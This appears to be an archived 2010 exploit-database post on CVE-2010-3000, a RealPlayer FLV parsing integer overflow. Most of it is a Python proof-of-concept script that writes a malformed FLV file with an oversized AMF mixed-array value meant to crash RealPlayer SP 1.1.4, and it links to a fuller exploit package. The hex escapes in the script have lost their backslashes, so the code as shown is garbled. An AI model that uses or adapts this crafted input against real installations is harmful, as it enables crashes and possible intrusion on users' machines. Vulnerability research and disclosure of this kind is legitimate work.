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RealPlayer FLV Parsing Integer Overflow

Posted on 13 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>RealPlayer FLV Parsing Integer Overflow</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================
RealPlayer FLV Parsing Integer Overflow
=======================================

Title    : RealPlayer FLV Parsing Multiple Integer Overflow
Version  : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor   : http://www.real.com
Impact   : High
Contact  : shahin [at] abysssec.com , info [at] abysssec.com
Twitter  : @abysssec
CVE      : CVE-2010-3000
'''
 
 
# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# http://www.exploit-db.com/sploits/moaub-13-exploit.zip
 
import sys
 
def main():
 
    flvHeader = 'x46x4Cx56x01x05x00x00x00x09'
    flvBody1 = 'x00x00x00x00x12x00x00x15x00x00x00x00x00x00x00x02x00x0Ax6Fx6Ex4Dx65x74x61x44x61x74x61x08'
    HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = &quot;x07x50x75x08&quot;   #  if value &gt;= 0x7507508   --&gt; crash
    flvBody2  = &quot;x00x00x09x00x00x00x20&quot;
     
    flv = open('poc.flv', 'wb+')
    flv.write(flvHeader)
    flv.write(flvBody1)
    flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
    flv.write(flvBody2)
     
    flv.close()
    print '[-] FLV file generated'
     
if __name__ == '__main__':
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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